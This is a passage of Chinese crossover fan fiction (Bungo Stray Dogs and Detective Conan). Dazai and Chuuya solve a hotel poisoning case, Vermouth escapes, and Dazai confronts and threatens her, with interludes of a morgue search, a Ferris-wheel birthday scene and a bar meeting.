“真是抱歉,打断了你的推理。”工藤有希子脸上带着抱歉的笑意,“只不过我家孩子很聪明,说不定是发现了什么其他的事情。”
体贴大方,优雅端庄。
太宰治笑了笑:“当然。”
18. 第 18 章
小侦探打断太宰治后,面对整个大厅人的注视也没有怯场,姿态大方地说出了自己的推断:“这根本不可能是一场团伙作案。”
“因为死者的死因根本不是食物中毒而方才的那两位女士以为死者是食物中毒,根本就不可能是团伙作案。”
“你的意思是凶手是我吗?”黑发眼镜男眼神阴郁,他阴沉沉地看着工藤新一。
工藤新一没有证据,现在一切都只是他的推测,因此他面对男人的质问时没有表示什么。
虽然小侦探还没有推理出犯人,不过比起方才那位黑发青年一网打尽的推理好上不少。
不少人的视线落到黑发青年身上。
那位黑发青年正在跟他身边的橘发少年不知道在说什么,完全没有关注刚才站出来的小少年,像是自成一界,半点视线都没有分出来。
太宰治靠在中原中也身上,黑发和橘发泾渭分明又相互交缠。
棕发女人抬头看去,没忍住看了他们好几眼,这动作极细微,不是特意注意一般被不会发现。
很可惜,关注她们的人不少,顺着她们视线看过去的人也不少,不少人平白觉得噎得慌。
哈哈,总感觉我们不在一个片场呢。
“好无聊啊,中也。”太宰治神情懒懒。
对于早就知道结果的戏剧,他从来都抬不起兴趣。
中原中也没理他。
他和太宰认识的这两年,就没见过太宰治说过不无聊。
“中也,”太宰治拱了拱中原中也,“好讨厌,居然不理我。”
“知道了,”中原中也气鼓鼓,“你想干什么?”
太宰治慢慢站直身体,眼睛里是细碎的光,凑到中原中也耳边悄声说了些什么。
中原中也顿了顿,没急着答应,而是思索了一下。
“中也中也中也,”太宰治轻声怂恿着,语气里带着难言的兴奋,“我们还没这么玩过。”
中原中也轻咳一声。
他和太宰治能成为搭档这件事就说明了他和太宰治某方面还是很像的。
中原中也默认了。
太宰治向来不吝于给自己找点乐子,通常也不会落下中原中也,而中原中也一般不会拒绝。
现在也是如此。
中原中也先去找了萩原研二他们,这种事还是先打个招呼比较好。
他前往死者所在的酒店房间,房间内很干净,干净得过分了。
中原中也脱下手套,手指擦过桌子,带着浅浅的湿意。
这种程度的推理并不能难倒中原中也,他大概知道凶手的杀人手法了,不过他还是觉得很奇怪。
好在他不是来找凶手的。
另一边,工藤新一也推理出了凶手的犯案手法,正准备前往死者房间对自己的猜想进行进一步确认。
这个时间点他正好碰到从死者房间里出来的中原中也。
工藤新一眸光一凛。
他记得,眼前的少年是跟刚刚胡乱推理的黑发青年是一块的,他们是什么时候分开的?少年又为什么要来这里?
中原中也也没想到自己出来时能正好碰见刚刚的小少年,神色坦荡地与他和他身后跟着的松田阵平打了个招呼。
“走错了。”
松田阵平挑眉,没有对这个理由说什么。
工藤新一嘴角没忍住抽了抽,这么敷衍的理由谁会信啊?
“哦,好,你可以走了。”松田阵平死死压着嘴角的笑意,故作平静。
中原中也走了。
但现在并不是追问这个的时候。
工藤新一强行进入工作状态,进入死者房间。
工藤新一要抓狂了。
这里非常干净,也不缺线索,甚至将线索摆到了明面上了
不管是还在工作的加湿器,还是里面温度开到最低的空调。
工藤新一戴上手套,小心翼翼地拆开加湿器,里面甚至还留着的药物瓶子。
工藤新一沉默了。
他转头就跑。
死者的死因其实很容易就能够推断出来,并不是因为食物中毒,凶手通过在加湿器内下的毒,使死者吸入毒素而死。
案件的难点其实在于是谁动了加湿器。
因此三人的不在场证明就显得格外重要。
和他一起过来的松田阵平看了眼里面,没忍住挑了挑眉,只不过他的视线很快就顿住了。
他视线划过衣柜时,一种强烈的直觉袭击了他。
他从口袋中戴上手套,打开柜门,里面什么都没有。
松田阵平离远了点距离,端详了一下这个柜子的结构,手指敲了敲柜子底。
是空心的。
小侦探拔足狂奔,中原中也连同太宰治一块在破案子,小侦探来的时候,正好撞上最后一句话。
“因此凶手是佐藤先生。”
工藤新一:可恶,没赶上。
虽然工藤新一没有赶上推理的整个过程,但他还是长吐一口气。
凶手已经被抓到就好。
工藤新一长吐一口气,被指控的佐藤就没有这么轻松的心态了。
真实身份·犯罪组织·贝尔摩德:……
在场的佐藤并不是佐藤本人,是一名跨国犯
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罪组织成员。
代号贝尔摩德。
因为精通易容术所以被组织派来潜伏在死者安德森身边。
安德森和黑组织本来是合作关系,只不过最近他有些不安分,想要从组织身上获取更大的利益,却一点东西都不想给。
而组织正好已经厌倦了他的贪婪,于是决定让贝尔摩德潜伏在他身边,等贝尔摩德将他手中的所有资料拿到后灭口。
没想到先被这个身份的佐藤给杀了。
佐藤是昨天晚上给死者下的毒,而贝尔摩德则利用昨晚佐藤刚从死者房间内走出来神情恍惚之时将他打晕替换。
她不想跟那个鹰国男人扯上什么关系,才选了佐藤的身份,谁知道会爆这么大的雷。
贝尔摩德暗道一声晦气,但现在还在大庭广众之下,贝尔摩德没有轻举妄动。
她老实地走了一下流程,她明面上的身份是好莱坞巨星,演技出众,控诉死者的不做人行为时情真意切,最后颓丧地任由萩原研二扣上手铐交给晚来的目暮警官。
工藤新一没忍住叹了一口气。
明明有更好的方法。
而被留下来的金发女人和棕发女人在人散得差不多时,几乎同时冲到萩原研二面前,一个拿出自己的FBI证明,一个拿出自己的M16处证明,要求将这个案子移交给FBI/M16。
她们蹲安德森已经蹲很久了,都将安德森当做要到嘴的鸭子。
鸭子要跑了这谁能忍?!
“萩原,”松田阵平将萩原研二拉了出来,神情是难得的严肃,“你来看看这个。”
— —
傍晚,工藤宅附近新搬来一户邻居。
才赶完稿子的工藤优作端着咖啡站在落地窗前,看着对面进进出出的工人若有所思。
今天看来是不适合拜访新来的邻居了。
新搬来的邻居之一·中原中也正在做饭,另一个倒在客厅的沙发上控诉:“中也为什么不让我进去帮忙?!”
呵呵,你做的能不能吃都还不一定。
中原中也暂时还不是很想去一趟医院。
“哼,我要离家出走!”太宰治佯装生气,一步一挪,愤然发现中也一眼都没有看过来。
“记得带瓶酱油回来。”中原中也头也不回叮嘱。
太宰治跑了。
要想从警察手中脱身不难,但这次有FBI和M16处盯着。
贝尔摩德喘息着逃到了一处废弃的大楼,手臂上还在渗血。
“贝尔摩德,是吗?”
一个男人的声音响在她身后,在她耳边炸起一道惊雷。
19. 第 19 章
半夜,停尸房。
米花町的停尸房一向火爆,经常需要值守人大半夜还要工作,是个十分辛苦的工作。
好在也有不少偷懒的人,管事也都睁只眼闭只眼,何必要为难他们呢?
这方便了潜入进来的松田阵平和萩原研二。
他们通过窗户,轻巧地潜入了进来。
停尸房里摆满了尸体,这些尸体都是今天死的,要想找到安德森的尸体得一个个将白布掀开。
萩原研二一边嘴里念念有词,一边快速掀开遮脸的白布。
松田阵平仔细听了一下,发现他念的是:
安息吧,阿弥陀佛,愿上帝原谅你。
松田阵平:……
察觉到松田阵平的视线,萩原研二抬头回看过去,眼神里带着问询。
松田阵平摇摇头,没说话。
萩原研二继续翻。
又一个人跳了进来。
松田阵平和萩原研二齐齐望去,三人对视一眼,陷入了一种无言的安静。
来人正是刚搬家的中原中也。
萩原研二正准备张口就来:这么巧啊。
张到一半想起这是个什么地方,遂闭上嘴。
松田阵平就没有想那么多了,他指了指另一边:
那边是还没掀过的。
中原中也轻轻跃到松田阵平指出来的地方,也开始翻白布。
中原中也的运气很好,只翻了两三块就把安德森给翻出来了。
安德森的嘴唇发紫,才死一天,也没有什么尸斑,是典型的鹰国人长相。
中原中也瞳孔紧缩,手指目的明确地伸向安德森的衣领处。
被拦下来了。
挡住他手的是萩原研二,他从口袋中掏出一双手套递给中原中也。
中原中也轻声道了句谢。
解开衣领,安德森胸口处大片大片的刺身映入在场三人的眼帘。
——是一座钟。
松田阵平和萩原研二都不认识这个刺身,不禁垂眸思索着这个钟塔的含义。
是钟塔侍从的人。
中原中也几乎不用思考就能得出这个结论。
中原中也强行使自己冷静下来。
这件事发生在这个世界,太宰和港口Mafia都没有参与进来,任谁查也查不出来疑点。
接下来的时间,中原中也都保持着一种沉默的状态。
他还没学会如何完美掩盖自己的情绪。
松田阵平和萩原研二对视一眼,都看出了中原中也的心不在焉。
松田阵平看向萩原研二。
萩原研二微微摇头。
现在不是合适的时机。
他们与中原中也只认识了不到两天,这时候问出口不一定能够得到答案,甚至会提高中原中也对他们的防备。
甚至……
萩原研二脑海中闪过松田阵平找到的那份资料:
关于人造神明的可行性和研究进展。
里面的数据繁杂庞大,光看这些数据很难看出这是一项什么样的实验,但这项研究的标题已经说明了一切。
人体实验。
那份资料最早甚至能够追溯到二十年前。
联想到中原中也如今才十七,再加上他身上的谜团,萩原研二很难不怀疑他是否就是那项实验的幸存者。
中原中也面对这场由他发起的沉默,不免有些头疼。
他本来只以为那份资料只是这个世界人弄出来的人体实验,中原中也在这几天的相处中也算了解眼前两人的性格。
他们都不是会将这件事情掩盖下去的警察。
所以他才会故意将那份资料留在原地。
但他没想到那个人居然来自钟塔侍从。
这下事情可就麻烦了。
中原中也烦躁地揉了揉头发,开口打断这场沉默:“你们看到那份文件了吧?”
幼驯染二人都顿了顿,松田阵平率先开口:“对,如果你相信我们的话,可以将知道的事情都告诉我们。”
“不想说的话,也没关系。”萩原研二接话,“这都是你的选择。”
说话时两人的神情都带了些小心翼翼的,像是生怕戳到眼前少年的伤心事。
“这件事你们不要继续管了。”中原中也冷静道,“我会解决。”
这不是这个世界的人能解决的事情,就算是天然具有优势的警察也不行。
松田阵平皱了皱眉,似乎想要说些什么,被萩原研二拦了下来:“小中也,这件事是你有意让我们知道,现在拒绝让我们参与进来,是因为那个男人身上的纹身吗?”
中原中也皱了皱眉,没说话。
萩原研二已经知道答案了,他继续引导:“小中也,我们现在已经知道了,你如果什么都不告诉我们,说不定我们私底下会进行调查,但你如果让我们参与进来我们做什么你不是都知道吗?这样你也可以更好地将我们隔绝在危险之外。”
可惜中原中也脸上露出点笑意,眸子却坚定极了没有半点被打动的动摇。
他拒绝:“不,这种事情只要掺和进来就会遇到危险,只有远离才能安全。”
萩原研二还想接着说什么,中原中也已经离开了。
这是一个没有异能的世界,甚至普通人的记忆会自动被更加科学的事情覆盖。
那么,这件事情就要尽快解决了。
越迟引起的波动就越大。
中原中也并没有第一时间回去,而是先转道去了杯户广场的摩天轮。
昨天才发生一起爆炸案,这里的人并不是很多,中原
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中也很轻易就坐上了他想要的车厢。
72号。
他进去的时候里面已经有人了,是个黑发混蛋。
黑发混蛋若无其事地看向窗外,好像没有注意到正准备要上来的中原中也。
“让开一点啊,混蛋太宰。”中原中也先是怔了怔,再开口时眼里带了点笑意,细碎的,连他自己都没有意识到的。
“中也不是应该在家里做饭吗?”太宰治脸上的伪装也快撑不住了,只剩一层浅浅的皮笑肉不笑,“是跟谁约会要避开我所以才把我支出去的吗?”
中原中也锤了他一下。
颠倒黑白。
偏生太宰治还觉不满,继续嚷嚷着:“所以果然是中也觉得我年纪大了,不年轻了,想要去找更年轻的了!”
“哈?那你看看现在是谁跟我在一起啊?”中原中也还是没忍住反唇相讥。
“是我啊。”太宰治气焰更甚,“但这是中也你说谎的理由吗?”
中原中也真是要气笑了。
摩天轮动起来了,高度正在慢慢上升。
夜色很美。
中原中也的眼睛落在窗外,没再继续看太宰治,他的眼睛挪不开了。
太宰治的眼睛也是。
他们都没有说话,好像是什么心照不宣的比赛。
摩天轮快要升到最高点了。
太宰治冷不丁开口:“中也,你是不是要走了?”
明明该是疑问的语气,他的态度却像是怀抱着答案来问问题。
“没有。”中原中也没好气地回答。
太宰治瞳孔微微放大,脸上空白一片,嘴角是机械性的勾起但很快变得真心实意,嘲讽的语气也变得柔软起来:“中也这次的眼光居然还不错。”
中原中也的余光一直在瞥着太宰治,一直被他放在身后的相机闪了一下,正好照出现在太宰治的表情。
中原中也扶着车厢里的栏杆,眼睛也不看外面的夜色了,就这么笑着,那双蓝眸盈满了笑意。
太宰治耳朵红了,转头不再看向中原中也。
车厢里只剩下中原中也的笑声。
这回是中原中也先说话:“太宰,外面有烟花。”
“我知道。”太宰治闷闷地。
底下有人惊呼:“烟花有字哎。”
烟花的光照亮了夜幕,中原中也很轻易就能看清上面的字。
小矮子,十九岁生日快乐。
小蛞蝓,二十岁生日快乐。
讨厌的搭档,二十一岁生日快乐
中也,二十三岁生日快乐。
中原中也眸底带了些湿意。
是十八岁啊。
车厢里一片沉寂,黑发青年没有说话,橘发少年也没有开口。
他们好像都忘记了说话。
20.第 20 章
酒吧,组织据点之一。
金发黑皮的青年姿态慵懒地坐在吧台座位处,一手撑头满脸百无聊赖看着调酒师为他调酒。
调酒师拥有着跟青年一模一样的脸,他冷冷地开口:“贝尔摩德,你差不多够了。”
不知道贝尔摩德发什么疯,今天一晚上都是他的脸。她任务失败的事情已经在组织传开了,那个任务他也知道,并算不上很难。
青年眸子里划过几分探究。
青年是组织成员,代号波本,但他的真名叫降谷零,是日本公安卧底,现在他正以安室透的身份潜伏在这个组织。
贝尔摩德手指划过青年的胸口,轻轻点了几下,依旧是安室透的声音:“波本,不要这么心急,该你知道的,你会知道的。”
安室透眉眼冷了下来,他冷笑:“贝尔摩德,第二次。”
贝尔摩德毫不留恋地收回手,抬手将易容卸了下来,露出下面那张昳丽的脸,长长的金发有几缕垂在她脸颊两侧,她叹气:“没有情调。”
“说起来算是我倒霉,任务对象先死了,我易容的那个还是凶手,脱身麻烦了点。”贝尔摩德此时的心情看起来还算不错,十分爽快地就告诉了安室透事情经过。
和组织里现在传的版本只是一些细节上的差异。
“波本,你以为是什么呢?”贝尔摩德与安室透对视。
安室透留了几分余地,他跟贝尔摩德算是相互利用的关系,明面上的关系还是要好好维持。
“只是有些担心你。”
安室透脸上的神情无懈可击,眉眼舒展,看不出什么情绪。
贝尔摩德收回视线。
波本算是近来组织中的新秀,除了性格有些装模作样外,还挺合她胃口的,只不过,还是没有她的命重要。
“Boss很快就会来找你。”
贝尔摩德离开了,安室透接到了一条简讯,没有署名,也查不到发信地址,上面只有一句话:
抓住中原中也。
酒吧的灯光打在安室透脸上,晦暗不明,看不清他眼底神色。
贝尔摩德离开酒吧后,回了自己的安全屋。
她其实很少来这,一般是住在酒店,但那个青年留给她的印象实在太过恐怖。
贝尔摩德已经很久没有感受到这么纯然的恐惧了,她需要一个安全的地方。
可惜没什么用,就算沉入梦乡,她还是忍不住颤抖着,耳边好像又响起青年的声音。
“贝尔摩德,是吗?”黑发青年声音其实并不恐怖,甚至带着些温和与兴味,如果贝尔摩德当时不是在逃命的话。
贝尔摩德警惕地看着突然出现的青年,她握住藏在身后的手枪,拉开保险栓。
她对眼前的青年没什么恶感却也没有什么怜悯,但她又不是什么大善人。
机会只有一次。
贝尔摩德压抑着因失血产生的颤抖,慢慢走近青年,青年也没有阻止:“我身上受伤了,现在警察在追我,你是组织过来接应我的吗?”
她不知道青年是从哪知道的代号,但组织可没有那么简单。
这是一栋废弃大楼,没什么人经过,里面空旷极了,是个十分适合开枪的地方。
太宰治等待着女人的靠近,在她快要接近射击范围时:“停。”
黑发青年眉眼疏懒,口吻轻松:“我家小矮子还在家里等我,还是不要靠得太近为好,要是小矮子闻到你身上的味道以为我出去做什么了怎么办?”
好像现在的场景不是荒芜的废弃大楼,而是声色犬马的酒吧里。
贝尔摩德嘴角微抽。
在酒店的时候她就看出来眼前黑发青年不太正常。
贝尔摩德的思绪出神了一瞬:她真的要警惕眼前的男人吗?
但很快她又重新升起警惕,真傻子找不到她头上来。
“莎朗·温亚德。”太宰治接下来的话证实了贝尔摩德的猜测,他弯起眸子,里面却没有丝毫笑意,像是冷漠的木偶,今天在酒店和橘发少年搞恶作剧的青年好像根本就不存在。
“或许我该叫你克丽丝·温亚德。”
贝尔摩德好像被人泼了一桶冰水,现在浑身发冷。
这是她最大的秘密,只要这件事情被爆出来,整个世界都是她的敌人。
没有人不想要长生不老,青春永驻。
尤其是那些站在高处的人。
组织根本不会保她,说不定还会主动将她献出去。
要杀了他,他决不能活下去。
这是一个不用思考就能得出的结论。
“唔,母女都是自己,感觉很有意思。”太宰治好像忘记了一旁的贝尔摩德,兴致勃勃,“这么难得的体验小狗怎么能没有呢?这可是人生体验中最重要的一环啊!”
“你说对吗?莎朗·克里斯小姐。”
贝尔摩德举起手臂,枪口对准太宰治的头。
太宰治对上贝尔摩德举起的枪口,脸上带着微笑,他没有避让。
枪炸膛了。
“枪好用吗?”太宰治问。
他早有预料。
贝尔摩德瞳孔紧缩。
他是什么时候做的手脚。
“是在酒店的时候。”太宰治好像知道贝尔摩德在想些什么,“你的伪装真是拙劣极了。”
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不是带着恶意的讽刺,而是叹息,这种叹息让人更加难以容忍。
贝尔摩德安静下来,她手上鲜血淋漓,过多的失血量让她眼前发昏。
她不能晕过去,晕过去就真的任人鱼肉了。
她像美人蛇一样盘踞起来,等待着第二个机会。
“莎朗·温亚德,活跃在上世纪的好莱坞巨星,现在已经去世了,她的女儿克丽丝·温亚德继承了她的事业,也成了一名演员,现在还活跃在影坛上。”
黑/手党向来讲究斩草除根,不过她还有用。
“谁能想到当年的实验体居然成了现在的巨星,都不好动手了。”太宰治的语气平静、高高在上,就好像眼前的女人不是人,而是一件物品。
像是那些在她身上做试验的研究员。
贝尔摩德眉眼间的冷意几乎要溢出来了。
她厌恶极了这种语气,就好像她还是当年那个对在自己身体上实施实验无可奈何的小女孩。
贝尔摩德,Boss最“宠爱”的女人,最完美的实验体。
也是唯一一个。
剩下的都死了。
“We are both angels and devils.To reverse the tide of time and resurrect the dead.”
贝尔摩德低喃。
我们是天使也是恶魔,我们要逆转时间的洪流,让死者复生。[1]
太宰治脸上的表情逐渐冷淡:“真是伟大的愿景啊。”
真是令人作呕。
贝尔摩德嗤笑一声。
她不觉得现在这种情形青年还能放她离开,也没什么心情去讨好他。
“看来你不太喜欢这句话,是因为,”太宰治顿了顿,“你不想要永生吗?就像苹果,表面还是红润的,其实内里已经腐烂不堪,再好看的皮囊也掩盖不了它慢慢散发出来的已经腐烂的味道。”
贝尔摩德猛地抬头看向太宰治,身体不受控制地战栗起来。
人没什么好怕的,可怕的能够窥伺人心的怪物。
眼前的青年是其中翘楚。
怪物还在继续说话,她什么都听不清了。
只剩下最后一句。
“这是微型炸弹,会随着你的血液流动,遥控器在我手上。”
“如果你有什么小动作的话,会死的。”
黑发青年容色俊美,在贝尔摩德眼中却好似恶鬼在世。
“快到时间了,要赶不上约会了。”太宰治看了眼手表,没管地上的贝尔摩德。
“那么,下次再会。”